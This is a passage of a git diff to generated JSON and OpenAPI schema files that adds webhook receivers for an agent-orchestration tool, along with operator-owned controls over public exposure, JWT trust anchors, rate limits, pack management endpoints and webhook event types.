           "description": "GitHub configures GitHub-facing repository monitors."
@@ -2635,6 +2646,13 @@
           "type": "string",
           "description": "DefaultSlingTarget is the agent qualified name used when gc sling is\ninvoked with only a bead ID (no explicit target). Resolved via\nresolveAgentIdentity. Example: \"rig/polecat\""
         },
+        "default_sling_targets": {
+          "items": {
+            "type": "string"
+          },
+          "type": "array",
+          "description": "DefaultSlingTargets is the plural form of DefaultSlingTarget.\nWhen set, targetless gc sling picks one entry at random each dispatch.\nTakes precedence over DefaultSlingTarget when non-empty. Each entry is\nresolved the same way as DefaultSlingTarget. Example:\n  default_sling_targets = [\"rig/polecat-a\", \"rig/polecat-b\"]"
+        },
         "session_sleep": {
           "$ref": "#/$defs/SessionSleepConfig",
           "description": "SessionSleep overrides workspace-level idle sleep defaults for agents in\nthis rig."
@@ -3021,6 +3039,269 @@
       "type": "object",
       "description": "UsageConfig holds usage-fact sink settings."
     },
+    "Webhook": {
+      "properties": {
+        "name": {
+          "type": "string",
+          "description": "Name is the unique webhook identifier and mount segment."
+        },
+        "scope": {
+          "type": "string",
+          "enum": [
+            "city",
+            "rig"
+          ],
+          "description": "Scope selects city- or rig-scoped dispatch semantics, mirroring\nOrder.Scope. Empty defaults to city."
+        },
+        "publication": {
+          "$ref": "#/$defs/ServicePublicationConfig",
+          "description": "Publication declares generic publication intent, reusing the service\npublication contract. Pack/fragment-contributed public webhooks are\ncapped to tenant unless the city grants them via [webhooks].allow_public."
+        },
+        "verify": {
+          "$ref": "#/$defs/WebhookVerify",
+          "description": "Verify declares the signature verification scheme and its inputs."
+        },
+        "rule": {
+          "items": {
+            "$ref": "#/$defs/WebhookRule"
+          },
+          "type": "array",
+          "description": "Rules maps verified provider events to dispatch targets."
+        },
+        "max_per_minute": {
+          "type": "integer",
+          "description": "MaxPerMinute is an optional per-webhook self-imposed sustained request\nceiling for the E8 rate limiter. SECURITY: a [[webhook]] block may be\npack-contributed, and a pack must never be able to weaken the operator's\nflood defense, so this value may only LOWER a webhook's effective limit —\nit is min-clamped to the operator-owned ceiling and can never raise it (see\nWebhookPolicyConfig.EffectiveRateLimit). Leave unset to inherit the operator\ndefault/override."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "name"
+      ],
+      "description": "Webhook declares a city- or rig-scoped inbound HTTP receiver mounted under /v0/city/{city}/hook/{name}."
+    },
+    "WebhookAllowPublic": {
+      "properties": {
+        "name": {
+          "type": "string",
+          "description": "Name is the webhook name being granted public exposure."
+        },
+        "source": {
+          "type": "string",
+          "description": "Source is the pack/fragment provenance the grant is scoped to. Matched\nagainst the webhook's stamped SourceDir."
+        },
+        "digest": {
+          "type": "string",
+          "description": "Digest optionally pins the content digest of the granted webhook's\nsecurity-relevant fields.\n\nTODO(R3): compute and enforce this digest over\n{visibility, verify scheme/secret_env/secret_key/trust-root, each rule's\nevent/match/order/rig/target} so a content-swap upgrade auto-downgrades\nto tenant until the operator re-consents. E2 matches on {name, source}\nonly; the digest field is reserved for that follow-up."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "name",
+        "source"
+      ],
+      "description": "WebhookAllowPublic is one operator-authored public-exposure grant."
+    },
+    "WebhookJWTPolicy": {
+      "properties": {
+        "name": {
+          "type": "string",
+          "description": "Name is the webhook this policy applies to (matched against Webhook.Name)."
+        },
+        "issuer": {
+          "type": "string",
+          "description": "Issuer is the required \"iss\" claim, pinned exactly."
+        },
+        "audience": {
+          "type": "string",
+          "description": "Audience is the required \"aud\" claim."
+        },
+        "jwks_url": {
+          "type": "string",
+          "description": "JWKSURL is the https endpoint publishing the signing keys."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "name",
+        "issuer",
+        "audience",
+        "jwks_url"
+      ],
+      "description": "WebhookJWTPolicy is one operator-owned jwt-jwks trust anchor."
+    },
+    "WebhookPolicyConfig": {
+      "properties": {
+        "allow_public": {
+          "items": {
+            "$ref": "#/$defs/WebhookAllowPublic"
+          },
+          "type": "array",
+          "description": "AllowPublic lists {name, source} grants that permit a pack/fragment\nwebhook to keep publication.visibility=\"public\". Default-closed: a\npack/fragment public webhook with no matching grant is capped to tenant."
+        },
+        "jwt_policy": {
+          "items": {
+            "$ref": "#/$defs/WebhookJWTPolicy"
+          },
+          "type": "array",
+          "description": "JWTPolicies pins the operator-owned trust anchor for each jwt-jwks webhook,\nkeyed by webhook name. Per security review R1, a jwt-jwks webhook's issuer,\naudience, and JWKS URL are operator-owned and must come from here (the root\ncity.toml [webhooks] block), never from a pack-authored [webhook.verify]\ntable — otherwise a pack could point the trust root at an attacker-controlled\nissuer/JWKS. The receiver (E3) reads this, not WebhookVerify.Issuer/etc.,\nwhen constructing the jwt-jwks verifier."
+        },
+        "rate_limit": {
+          "$ref": "#/$defs/WebhookRateLimitConfig",
+          "description": "RateLimit holds the operator-owned E8 per-webhook rate-limit governance:\nthe fleet default plus optional per-webhook overrides. Because the whole\n[webhooks] table is never merged from packs or fragments, a pack cannot\ntouch these values — it can only LOWER its own limit via Webhook.MaxPerMinute\n(clamped in EffectiveRateLimit). This is the trust boundary for the flood\ndefense: the operator sets the ceiling; packs may only self-restrict below it.\n\nA pointer so an absent [webhooks].rate_limit round-trips cleanly (a zero-value\nnested table is not suppressed by BurntSushi's omitempty); nil means \"use the\nbuilt-in defaults\"."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "description": "WebhookPolicyConfig holds city-level webhook governance authored in the root city.toml under [webhooks]."
+    },
+    "WebhookRateLimitConfig": {
+      "properties": {
+        "per_minute": {
+          "type": "integer",
+          "description": "PerMinute is the default sustained request ceiling applied to every webhook\nthat declares no lower self-limit. 0 uses defaultWebhookRateLimitPerMinute."
+        },
+        "burst": {
+          "type": "integer",
+          "description": "Burst is the token-bucket burst allowance. 0 uses defaultWebhookRateLimitBurst."
+        },
+        "override": {
+          "items": {
+            "$ref": "#/$defs/WebhookRateLimitOverride"
+          },
+          "type": "array",
+          "description": "Overrides pins an operator-chosen limit for a specific webhook by name.\nOperator authority: an override may raise OR lower that webhook's limit — it\nis the operator, not a pack, declaring it. A pack's own MaxPerMinute can then\nonly clamp further downward, never above the override."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "description": "WebhookRateLimitConfig is the operator-owned rate-limit policy authored under the root city.toml [webhooks].rate_limit table."
+    },
+    "WebhookRateLimitOverride": {
+      "properties": {
+        "name": {
+          "type": "string"
+        },
+        "per_minute": {
+          "type": "integer"
+        },
+        "burst": {
+          "type": "integer"
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "name"
+      ],
+      "description": "WebhookRateLimitOverride is one operator-authored per-webhook rate-limit pin."
+    },
+    "WebhookRule": {
+      "properties": {
+        "event": {
+          "type": "string",
+          "description": "Event is the provider event type this rule matches (e.g. pull_request)."
+        },
+        "match": {
+          "additionalProperties": {
+            "type": "string"
+          },
+          "type": "object",
+          "description": "Match is an exact-equality dotted-path predicate over the payload."
+        },
+        "order": {
+          "type": "string",
+          "description": "Order is the target order name for target=\"order\" rules."
+        },
+        "rig": {
+          "type": "string",
+          "description": "Rig optionally scopes the dispatched order to a rig."
+        },
+        "target": {
+          "type": "string",
+          "enum": [
+            "order",
+            "conversation"
+          ],
+          "description": "Target selects the dispatch sink: \"order\" (default) or \"conversation\"."
+        },
+        "args": {
+          "additionalProperties": {
+            "type": "string"
+          },
+          "type": "object",
+          "description": "Args maps declared order params to {{payload.path}} projections."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "event"
+      ],
+      "description": "WebhookRule maps one verified provider event to a dispatch target."
+    },
+    "WebhookVerify": {
+      "properties": {
+        "scheme": {
+          "type": "string",
+          "description": "Scheme selects the built-in verifier (see knownWebhookSchemes)."
+        },
+        "secret_env": {
+          "type": "string",
+          "description": "SecretEnv names the environment variable holding the HMAC/shared secret."
+        },
+        "secret_key": {
+          "type": "string",
+          "description": "SecretKey is an optional stable rotation-slot identifier. Empty defaults\nto SecretEnv."
+        },
+        "signature_header": {
+          "type": "string",
+          "description": "SignatureHeader overrides the request header carrying the signature for\ngeneric HMAC schemes (e.g. X-Plane-Signature)."
+        },
+        "event_header": {
+          "type": "string",
+          "description": "EventHeader names the request header carrying the provider event type."
+        },
+        "dedup_header": {
+          "type": "string",
+          "description": "DedupHeader names the request header carrying the delivery id used for\nat-least-once dedup."
+        },
+        "timestamp_header": {
+          "type": "string",
+          "description": "TimestampHeader optionally names a request header carrying a signed\ntimestamp for replay defense."
+        },
+        "replay_window": {
+          "type": "string",
+          "description": "ReplayWindow bounds the accepted signed-timestamp skew (Go duration)."
+        },
+        "issuer": {
+          "type": "string",
+          "description": "Issuer, JWKSURL, and Audience pin the jwt-jwks trust anchor. Per the\nsecurity review (R1) these are operator-owned and must be declared in\ncity.toml, never in pack TOML."
+        },
+        "jwks_url": {
+          "type": "string"
+        },
+        "audience": {
+          "type": "string"
+        },
+        "bearer_env": {
+          "type": "string",
+          "description": "BearerEnv optionally names an env var holding an additional per-source\nbearer token checked alongside the signature."
+        },
+        "allowed_cidrs": {
+          "items": {
+            "type": "string"
+          },
+          "type": "array",
+          "description": "AllowedCIDRs optionally restricts accepted source addresses (e.g. the\nGitHub webhook CIDR allowlist)."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "description": "WebhookVerify declares how an inbound delivery is authenticated."
+    },
     "Workspace": {
       "properties": {
         "name": {
diff --git a/docs/reference/schema/city-schema.txt b/docs/reference/schema/city-schema.txt
index 4425a8a6c4..6a60589e70 100644
--- a/docs/reference/schema/city-schema.txt
+++ b/docs/reference/schema/city-schema.txt
@@ -1278,6 +1278,17 @@
           "type": "array",
           "description": "Services declares workspace-owned HTTP services mounted on the\ncontroller edge under /svc/{name}."
         },
+        "webhook": {
+          "items": {
+            "$ref": "#/$defs/Webhook"
+          },
+          "type": "array",
+          "description": "Webhooks declares inbound HTTP receivers mounted on the supervisor edge\nunder /hook/{name}. Composed like Services (pack concatenation + SourceDir\nprovenance + the default-closed public pack-guard)."
+        },
+        "webhooks": {
+          "$ref": "#/$defs/WebhookPolicyConfig",
+          "description": "WebhookPolicy holds city-level webhook governance (the [webhooks] table,\nnotably allow_public grants). Authored only in the root city.toml; never\nmerged from packs or fragments so a pack cannot grant itself exposure."
+        },
         "github": {
           "$ref": "#/$defs/GitHubConfig",
           "description": "GitHub configures GitHub-facing repository monitors."
@@ -2635,6 +2646,13 @@
           "type": "string",
           "description": "DefaultSlingTarget is the agent qualified name used when gc sling is\ninvoked with only a bead ID (no explicit target). Resolved via\nresolveAgentIdentity. Example: \"rig/polecat\""
         },
+        "default_sling_targets": {
+          "items": {
+            "type": "string"
+          },
+          "type": "array",
+          "description": "DefaultSlingTargets is the plural form of DefaultSlingTarget.\nWhen set, targetless gc sling picks one entry at random each dispatch.\nTakes precedence over DefaultSlingTarget when non-empty. Each entry is\nresolved the same way as DefaultSlingTarget. Example:\n  default_sling_targets = [\"rig/polecat-a\", \"rig/polecat-b\"]"
+        },
         "session_sleep": {
           "$ref": "#/$defs/SessionSleepConfig",
           "description": "SessionSleep overrides workspace-level idle sleep defaults for agents in\nthis rig."
@@ -3021,6 +3039,269 @@
       "type": "object",
       "description": "UsageConfig holds usage-fact sink settings."
     },
+    "Webhook": {
+      "properties": {
+        "name": {
+          "type": "string",
+          "description": "Name is the unique webhook identifier and mount segment."
+        },
+        "scope": {
+          "type": "string",
+          "enum": [
+            "city",
+            "rig"
+          ],
+          "description": "Scope selects city- or rig-scoped dispatch semantics, mirroring\nOrder.Scope. Empty defaults to city."
+        },
+        "publication": {
+          "$ref": "#/$defs/ServicePublicationConfig",
+          "description": "Publication declares generic publication intent, reusing the service\npublication contract. Pack/fragment-contributed public webhooks are\ncapped to tenant unless the city grants them via [webhooks].allow_public."
+        },
+        "verify": {
+          "$ref": "#/$defs/WebhookVerify",
+          "description": "Verify declares the signature verification scheme and its inputs."
+        },
+        "rule": {
+          "items": {
+            "$ref": "#/$defs/WebhookRule"
+          },
+          "type": "array",
+          "description": "Rules maps verified provider events to dispatch targets."
+        },
+        "max_per_minute": {
+          "type": "integer",
+          "description": "MaxPerMinute is an optional per-webhook self-imposed sustained request\nceiling for the E8 rate limiter. SECURITY: a [[webhook]] block may be\npack-contributed, and a pack must never be able to weaken the operator's\nflood defense, so this value may only LOWER a webhook's effective limit —\nit is min-clamped to the operator-owned ceiling and can never raise it (see\nWebhookPolicyConfig.EffectiveRateLimit). Leave unset to inherit the operator\ndefault/override."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "name"
+      ],
+      "description": "Webhook declares a city- or rig-scoped inbound HTTP receiver mounted under /v0/city/{city}/hook/{name}."
+    },
+    "WebhookAllowPublic": {
+      "properties": {
+        "name": {
+          "type": "string",
+          "description": "Name is the webhook name being granted public exposure."
+        },
+        "source": {
+          "type": "string",
+          "description": "Source is the pack/fragment provenance the grant is scoped to. Matched\nagainst the webhook's stamped SourceDir."
+        },
+        "digest": {
+          "type": "string",
+          "description": "Digest optionally pins the content digest of the granted webhook's\nsecurity-relevant fields.\n\nTODO(R3): compute and enforce this digest over\n{visibility, verify scheme/secret_env/secret_key/trust-root, each rule's\nevent/match/order/rig/target} so a content-swap upgrade auto-downgrades\nto tenant until the operator re-consents. E2 matches on {name, source}\nonly; the digest field is reserved for that follow-up."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "name",
+        "source"
+      ],
+      "description": "WebhookAllowPublic is one operator-authored public-exposure grant."
+    },
+    "WebhookJWTPolicy": {
+      "properties": {
+        "name": {
+          "type": "string",
+          "description": "Name is the webhook this policy applies to (matched against Webhook.Name)."
+        },
+        "issuer": {
+          "type": "string",
+          "description": "Issuer is the required \"iss\" claim, pinned exactly."
+        },
+        "audience": {
+          "type": "string",
+          "description": "Audience is the required \"aud\" claim."
+        },
+        "jwks_url": {
+          "type": "string",
+          "description": "JWKSURL is the https endpoint publishing the signing keys."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "name",
+        "issuer",
+        "audience",
+        "jwks_url"
+      ],
+      "description": "WebhookJWTPolicy is one operator-owned jwt-jwks trust anchor."
+    },
+    "WebhookPolicyConfig": {
+      "properties": {
+        "allow_public": {
+          "items": {
+            "$ref": "#/$defs/WebhookAllowPublic"
+          },
+          "type": "array",
+          "description": "AllowPublic lists {name, source} grants that permit a pack/fragment\nwebhook to keep publication.visibility=\"public\". Default-closed: a\npack/fragment public webhook with no matching grant is capped to tenant."
+        },
+        "jwt_policy": {
+          "items": {
+            "$ref": "#/$defs/WebhookJWTPolicy"
+          },
+          "type": "array",
+          "description": "JWTPolicies pins the operator-owned trust anchor for each jwt-jwks webhook,\nkeyed by webhook name. Per security review R1, a jwt-jwks webhook's issuer,\naudience, and JWKS URL are operator-owned and must come from here (the root\ncity.toml [webhooks] block), never from a pack-authored [webhook.verify]\ntable — otherwise a pack could point the trust root at an attacker-controlled\nissuer/JWKS. The receiver (E3) reads this, not WebhookVerify.Issuer/etc.,\nwhen constructing the jwt-jwks verifier."
+        },
+        "rate_limit": {
+          "$ref": "#/$defs/WebhookRateLimitConfig",
+          "description": "RateLimit holds the operator-owned E8 per-webhook rate-limit governance:\nthe fleet default plus optional per-webhook overrides. Because the whole\n[webhooks] table is never merged from packs or fragments, a pack cannot\ntouch these values — it can only LOWER its own limit via Webhook.MaxPerMinute\n(clamped in EffectiveRateLimit). This is the trust boundary for the flood\ndefense: the operator sets the ceiling; packs may only self-restrict below it.\n\nA pointer so an absent [webhooks].rate_limit round-trips cleanly (a zero-value\nnested table is not suppressed by BurntSushi's omitempty); nil means \"use the\nbuilt-in defaults\"."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "description": "WebhookPolicyConfig holds city-level webhook governance authored in the root city.toml under [webhooks]."
+    },
+    "WebhookRateLimitConfig": {
+      "properties": {
+        "per_minute": {
+          "type": "integer",
+          "description": "PerMinute is the default sustained request ceiling applied to every webhook\nthat declares no lower self-limit. 0 uses defaultWebhookRateLimitPerMinute."
+        },
+        "burst": {
+          "type": "integer",
+          "description": "Burst is the token-bucket burst allowance. 0 uses defaultWebhookRateLimitBurst."
+        },
+        "override": {
+          "items": {
+            "$ref": "#/$defs/WebhookRateLimitOverride"
+          },
+          "type": "array",
+          "description": "Overrides pins an operator-chosen limit for a specific webhook by name.\nOperator authority: an override may raise OR lower that webhook's limit — it\nis the operator, not a pack, declaring it. A pack's own MaxPerMinute can then\nonly clamp further downward, never above the override."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "description": "WebhookRateLimitConfig is the operator-owned rate-limit policy authored under the root city.toml [webhooks].rate_limit table."
+    },
+    "WebhookRateLimitOverride": {
+      "properties": {
+        "name": {
+          "type": "string"
+        },
+        "per_minute": {
+          "type": "integer"
+        },
+        "burst": {
+          "type": "integer"
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "name"
+      ],
+      "description": "WebhookRateLimitOverride is one operator-authored per-webhook rate-limit pin."
+    },
+    "WebhookRule": {
+      "properties": {
+        "event": {
+          "type": "string",
+          "description": "Event is the provider event type this rule matches (e.g. pull_request)."
+        },
+        "match": {
+          "additionalProperties": {
+            "type": "string"
+          },
+          "type": "object",
+          "description": "Match is an exact-equality dotted-path predicate over the payload."
+        },
+        "order": {
+          "type": "string",
+          "description": "Order is the target order name for target=\"order\" rules."
+        },
+        "rig": {
+          "type": "string",
+          "description": "Rig optionally scopes the dispatched order to a rig."
+        },
+        "target": {
+          "type": "string",
+          "enum": [
+            "order",
+            "conversation"
+          ],
+          "description": "Target selects the dispatch sink: \"order\" (default) or \"conversation\"."
+        },
+        "args": {
+          "additionalProperties": {
+            "type": "string"
+          },
+          "type": "object",
+          "description": "Args maps declared order params to {{payload.path}} projections."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "required": [
+        "event"
+      ],
+      "description": "WebhookRule maps one verified provider event to a dispatch target."
+    },
+    "WebhookVerify": {
+      "properties": {
+        "scheme": {
+          "type": "string",
+          "description": "Scheme selects the built-in verifier (see knownWebhookSchemes)."
+        },
+        "secret_env": {
+          "type": "string",
+          "description": "SecretEnv names the environment variable holding the HMAC/shared secret."
+        },
+        "secret_key": {
+          "type": "string",
+          "description": "SecretKey is an optional stable rotation-slot identifier. Empty defaults\nto SecretEnv."
+        },
+        "signature_header": {
+          "type": "string",
+          "description": "SignatureHeader overrides the request header carrying the signature for\ngeneric HMAC schemes (e.g. X-Plane-Signature)."
+        },
+        "event_header": {
+          "type": "string",
+          "description": "EventHeader names the request header carrying the provider event type."
+        },
+        "dedup_header": {
+          "type": "string",
+          "description": "DedupHeader names the request header carrying the delivery id used for\nat-least-once dedup."
+        },
+        "timestamp_header": {
+          "type": "string",
+          "description": "TimestampHeader optionally names a request header carrying a signed\ntimestamp for replay defense."
+        },
+        "replay_window": {
+          "type": "string",
+          "description": "ReplayWindow bounds the accepted signed-timestamp skew (Go duration)."
+        },
+        "issuer": {
+          "type": "string",
+          "description": "Issuer, JWKSURL, and Audience pin the jwt-jwks trust anchor. Per the\nsecurity review (R1) these are operator-owned and must be declared in\ncity.toml, never in pack TOML."
+        },
+        "jwks_url": {
+          "type": "string"
+        },
+        "audience": {
+          "type": "string"
+        },
+        "bearer_env": {
+          "type": "string",
+          "description": "BearerEnv optionally names an env var holding an additional per-source\nbearer token checked alongside the signature."
+        },
+        "allowed_cidrs": {
+          "items": {
+            "type": "string"
+          },
+          "type": "array",
+          "description": "AllowedCIDRs optionally restricts accepted source addresses (e.g. the\nGitHub webhook CIDR allowlist)."
+        }
+      },
+      "additionalProperties": false,
+      "type": "object",
+      "description": "WebhookVerify declares how an inbound delivery is authenticated."
+    },
     "Workspace": {
       "properties": {
         "name": {
diff --git a/docs/reference/schema/openapi.json b/docs/reference/schema/openapi.json
index 4f88edf5ff..a5bd6d2ca5 100644
--- a/docs/reference/schema/openapi.json
+++ b/docs/reference/schema/openapi.json
@@ -2439,6 +2439,12 @@
           {
             "$ref": "#/components/schemas/UnboundEventPayload"
           },
+          {
+            "$ref": "#/components/schemas/WebhookReceivedPayload"
+          },
+          {
+            "$ref": "#/components/schemas/WebhookRejectedPayload"
+          },
           {
             "$ref": "#/components/schemas/WorkerOperationEventPayload"
           }
@@ -5019,6 +5025,40 @@
         ],
         "type": "object"
       },
+      "OrderRunInputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "vars": {
+            "additionalProperties": {
+              "type": "string"
+            },
+            "description": "Declared [order.params] as key/value dispatch args (parity with 'gc order run --var'). Namespaced into the exec env under GC_WEBHOOK_ARG_ before overlay (R4).",
+            "type": "object"
+          }
+        },
+        "type": "object"
+      },
+      "OrderRunOutputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "scoped_name": {
+            "description": "Rig-qualified name of the fired order.",
+            "type": "string"
+          },
+          "status": {
+            "description": "\"dispatched\" when the order fired.",
+            "type": "string"
+          },
+          "tracking_id": {
+            "description": "Tracking bead id for the dispatch.",
+            "type": "string"
+          }
+        },
+        "required": [
+          "status"
+        ],
+        "type": "object"
+      },
       "OrdersFeedBody": {
         "additionalProperties": false,
         "properties": {
@@ -5137,6 +5177,61 @@
         ],
         "type": "object"
       },
+      "PackAddInputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "name": {
+            "description": "Optional local binding name override; derived from the source when omitted.",
+            "type": "string"
+          },
+          "source": {
+            "description": "Pack source: a remote git URL or registry ref (a sub-path of a repo is allowed).",
+            "examples": [
+              "https://github.com/org/repo/tree/main/packs/review"
+            ],
+            "minLength": 1,
+            "type": "string"
+          },
+          "version": {
+            "description": "Optional semver constraint for a git-backed pack.",
+            "examples": [
+              "^1.2.0"
+            ],
+            "type": "string"
+          }
+        },
+        "required": [
+          "source"
+        ],
+        "type": "object"
+      },
+      "PackAddedOutputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "git_backed": {
+            "description": "Whether the resolved source is git-backed (has a lock entry).",
+            "type": "boolean"
+          },
+          "name": {
+            "description": "The local binding name written to [imports.\u003cname\u003e].",
+            "type": "string"
+          },
+          "source": {
+            "description": "The canonical source string written to the manifest.",
+            "type": "string"
+          },
+          "version": {
+            "description": "The version constraint written, if any.",
+            "type": "string"
+          }
+        },
+        "required": [
+          "name",
+          "source",
+          "git_backed"
+        ],
+        "type": "object"
+      },
       "PackListBody": {
         "additionalProperties": false,
         "properties": {
@@ -5156,19 +5251,29 @@
         ],
         "type": "object"
       },
-      "PackResponse": {
+      "PackRemovedOutputBody": {
         "additionalProperties": false,
         "properties": {
           "name": {
+            "description": "The binding name removed.",
             "type": "string"
-          },
-          "path": {
+          }
+        },
+        "required": [
+          "name"
+        ],
+        "type": "object"
+      },
+      "PackResponse": {
+        "additionalProperties": false,
+        "properties": {
+          "name": {
             "type": "string"
           },
-          "ref": {
+          "source": {
             "type": "string"
           },
-          "source": {
+          "version": {
             "type": "string"
           }
         },
@@ -5469,6 +5574,13 @@
             "minLength": 1,
             "type": "string"
           },
+          "option_defaults": {
+            "additionalProperties": {
+              "type": "string"
+            },
+            "description": "Provider option defaults (e.g. model). Keys are merged on update.",
+            "type": "object"
+          },
           "options_schema_merge": {
             "description": "Options schema merge mode across inheritance chain.",
             "type": "string"
@@ -5992,6 +6104,13 @@
             "description": "Environment variables.",
             "type": "object"
           },
+          "option_defaults": {
+            "additionalProperties": {
+              "type": "string"
+            },
+            "description": "Provider option defaults (e.g. model). Keys are merged on update.",
+            "type": "object"
+          },
           "options_schema_merge": {
             "description": "Options schema merge mode across inheritance chain.",
             "type": "string"
@@ -8488,6 +8607,8 @@
             "supervisor.request": "#/components/schemas/TypedEventStreamEnvelopeSupervisorRequest",
             "supervisor.shutdown_requested": "#/components/schemas/TypedEventStreamEnvelopeSupervisorShutdownRequested",
             "supervisor.started": "#/components/schemas/TypedEventStreamEnvelopeSupervisorStarted",
+            "webhook.received": "#/components/schemas/TypedEventStreamEnvelopeWebhookReceived",
+            "webhook.rejected": "#/components/schemas/TypedEventStreamEnvelopeWebhookRejected",
             "worker.operation": "#/components/schemas/TypedEventStreamEnvelopeWorkerOperation"
           },
           "propertyName": "type"
@@ -8730,6 +8851,12 @@
           {
             "$ref": "#/components/schemas/TypedEventStreamEnvelopeSupervisorStarted"
           },
+          {
+            "$ref": "#/components/schemas/TypedEventStreamEnvelopeWebhookReceived"
+          },
+          {
+            "$ref": "#/components/schemas/TypedEventStreamEnvelopeWebhookRejected"
+          },
           {
             "$ref": "#/components/schemas/TypedEventStreamEnvelopeWorkerOperation"
           },
@@ -9705,6 +9832,8 @@
                 "extmsg.inbound",
                 "extmsg.outbound",
                 "extmsg.outbound_channel_mismatch",
+                "webhook.received",
+                "webhook.rejected",
                 "events.rotated",
                 "gc.store.maintenance.done",
                 "gc.store.maintenance.failed",
@@ -12900,6 +13029,108 @@
         "title": "TypedEventStreamEnvelope supervisor.started",
         "type": "object"
       },
+      "TypedEventStreamEnvelopeWebhookReceived": {
+        "additionalProperties": false,
+        "properties": {
+          "actor": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WebhookReceivedPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
+            "format": "int64",
+            "minimum": 0,
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "webhook.received",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
+          }
+        },
+        "required": [
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload"
+        ],
+        "title": "TypedEventStreamEnvelope webhook.received",
+        "type": "object"
+      },
+      "TypedEventStreamEnvelopeWebhookRejected": {
+        "additionalProperties": false,
+        "properties": {
+          "actor": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WebhookRejectedPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
+            "format": "int64",
+            "minimum": 0,
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "webhook.rejected",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
+          }
+        },
+        "required": [
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload"
+        ],
+        "title": "TypedEventStreamEnvelope webhook.rejected",
+        "type": "object"
+      },
       "TypedEventStreamEnvelopeWorkerOperation": {
         "additionalProperties": false,
         "properties": {
@@ -13034,6 +13265,8 @@
             "supervisor.request": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorRequest",
             "supervisor.shutdown_requested": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorShutdownRequested",
             "supervisor.started": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorStarted",
+            "webhook.received": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookReceived",
+            "webhook.rejected": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookRejected",
             "worker.operation": "#/components/schemas/TypedTaggedEventStreamEnvelopeWorkerOperation"
           },
           "propertyName": "type"
@@ -13276,6 +13509,12 @@
           {
             "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorStarted"
           },
+          {
+            "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookReceived"
+          },
+          {
+            "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookRejected"
+          },
           {
             "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeWorkerOperation"
           },
@@ -14322,6 +14561,8 @@
                 "extmsg.inbound",
                 "extmsg.outbound",
                 "extmsg.outbound_channel_mismatch",
+                "webhook.received",
+                "webhook.rejected",
                 "events.rotated",
                 "gc.store.maintenance.done",
                 "gc.store.maintenance.failed",
@@ -17766,7 +18007,7 @@
         "title": "TypedTaggedEventStreamEnvelope supervisor.started",
         "type": "object"
       },
-      "TypedTaggedEventStreamEnvelopeWorkerOperation": {
+      "TypedTaggedEventStreamEnvelopeWebhookReceived": {
         "additionalProperties": false,
         "properties": {
           "actor": {
@@ -17779,7 +18020,7 @@
             "type": "string"
           },
           "payload": {
-            "$ref": "#/components/schemas/WorkerOperationEventPayload"
+            "$ref": "#/components/schemas/WebhookReceivedPayload"
           },
           "run_id": {
             "type": "string"
@@ -17803,7 +18044,7 @@
             "type": "string"
           },
           "type": {
-            "const": "worker.operation",
+            "const": "webhook.received",
             "type": "string"
           },
           "workflow": {
@@ -17818,35 +18059,253 @@
           "payload",
           "city"
         ],
-        "title": "TypedTaggedEventStreamEnvelope worker.operation",
+        "title": "TypedTaggedEventStreamEnvelope webhook.received",
         "type": "object"
       },
-      "UnboundEventPayload": {
+      "TypedTaggedEventStreamEnvelopeWebhookRejected": {
         "additionalProperties": false,
         "properties": {
-          "count": {
+          "actor": {
+            "type": "string"
+          },
+          "city": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WebhookRejectedPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
             "format": "int64",
+            "minimum": 0,
             "type": "integer"
           },
           "session_id": {
             "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
